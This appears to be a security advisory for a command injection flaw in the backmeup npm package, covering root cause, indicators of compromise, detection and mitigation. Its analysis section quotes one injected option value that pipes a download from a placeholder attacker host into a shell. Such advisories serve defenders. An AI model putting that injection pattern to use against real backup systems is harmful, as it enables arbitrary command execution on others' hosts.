CVE-2026-71243 Overview
CVE-2026-71243 is a command injection vulnerability [CWE-78] in the backmeup npm package maintained by Adaltas. The package builds shell command strings by concatenating user-controllable option values, including name, source, destination, and filter. It then executes those strings through a shell using ssh2-exec, either locally via child_process or remotely over SSH. Attackers who influence any of these options can inject shell metacharacters and execute arbitrary operating system commands on the backup host or the configured remote SSH target.
Critical Impact
Attacker-controlled option values reach a shell interpreter without sanitization, enabling arbitrary OS command execution on backup infrastructure.
Affected Products
- backmeup npm package (Adaltas node-backmeup)
- Applications passing untrusted input into backmeup options such as name, source, destination, or filter
- Remote SSH hosts configured as backup targets through backmeup
Discovery Timeline
- 2026-08-05 - CVE-2026-71243 published to NVD
- 2026-08-05 - Last updated in NVD database
Technical Details for CVE-2026-71243
Vulnerability Analysis
The backmeup package assembles shell commands by string concatenation. A representative construction takes the form cmd = "mkdir -p " + path.join(info.destination, info.name) + "; ". The resulting string is then handed to a shell through ssh2-exec. Because a shell interprets the command, any metacharacter inside the concatenated values is parsed as syntax rather than data.
The only preprocessing applied to option values is path.normalize() and path.join(). These functions collapse path segments but do not escape or reject shell metacharacters such as ;, |, &, $(), backticks, or newlines. An option value like backup;curl attacker.tld|sh therefore terminates the intended command and starts a new one.
Successful exploitation grants code execution under the identity running the backup process. When backmeup is invoked with an ssh handle, the injected command runs on the remote SSH target, extending the blast radius to any host reachable through configured backup jobs.
Root Cause
The root cause is use of a shell interpreter to execute commands built from concatenated, unsanitized inputs. The safe pattern is child_process.execFile or spawn with an argument array, which passes arguments directly to the target binary and bypasses shell parsing. backmeup does not use that pattern.
Attack Vector
An attacker supplies a crafted string to any application field that flows into a backmeup option. A common example is a user-selectable backup name. When the backup job runs, the injected shell syntax executes with the privileges of the backup process, on the local host or on the remote SSH target. See the GitHub repository for node-backmeup for the vulnerable code paths.
No verified proof-of-concept code is published beyond the upstream repository. The vulnerability mechanism follows the standard shell metacharacter injection pattern described above.
Detection Methods for CVE-2026-71243
Indicators of Compromise
- Unexpected child processes spawned by Node.js processes that load backmeup, especially shells such as sh, bash, or cmd.
- Outbound network connections from backup hosts or SSH targets immediately after a backup job runs.
- Backup job names, source paths, or destination paths containing shell metacharacters (;, |, &, $(, backticks, newlines).
- New files, cron entries, or SSH keys written on backup hosts around scheduled backup times.
Detection Strategies
- Inspect application logs and backup metadata for option values containing shell metacharacters.
- Correlate backmeup execution with subsequent process creation events and flag any non-backup binaries executed by the backup user.
- Audit SSH server logs on backup targets for command executions that deviate from the expected mkdir, tar, or rsync patterns emitted by backmeup.
Monitoring Recommendations
- Enable process-creation telemetry on all hosts running Node.js applications that depend on backmeup.
- Alert on shell invocations whose parent is a Node.js process associated with backup workflows.
- Monitor SSH session command history on backup targets and baseline the expected command set.
How to Mitigate CVE-2026-71243
Immediate Actions Required
- Identify all applications depending on backmeup using npm ls backmeup across your Node.js inventory.
- Remove or replace backmeup in applications that expose any of its option values to untrusted input.
- Restrict the operating system account and SSH credentials used by backup jobs to the minimum privileges required.
- Reject or strictly allow-list characters in any application field that flows into backmeup options, permitting only [A-Za-z0-9._-].
Patch Information
No vendor-supplied patch is referenced in the NVD entry at time of publication. Track the upstream project at the node-backmeup GitHub repository for fixes. Until a patched release is available, treat the package as unsafe for any workflow that accepts external input.
Workarounds
- Wrap backmeup calls with an input validator that rejects shell metacharacters before options reach the library.
- Fork the package and replace shell-based execution with child_process.execFile or spawn using argument arrays.
- Run backup jobs inside a container or restricted user account with no network egress and no write access outside the backup destination.
- Disable remote SSH backup targets until sanitized wrappers or a fixed release are in place.
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
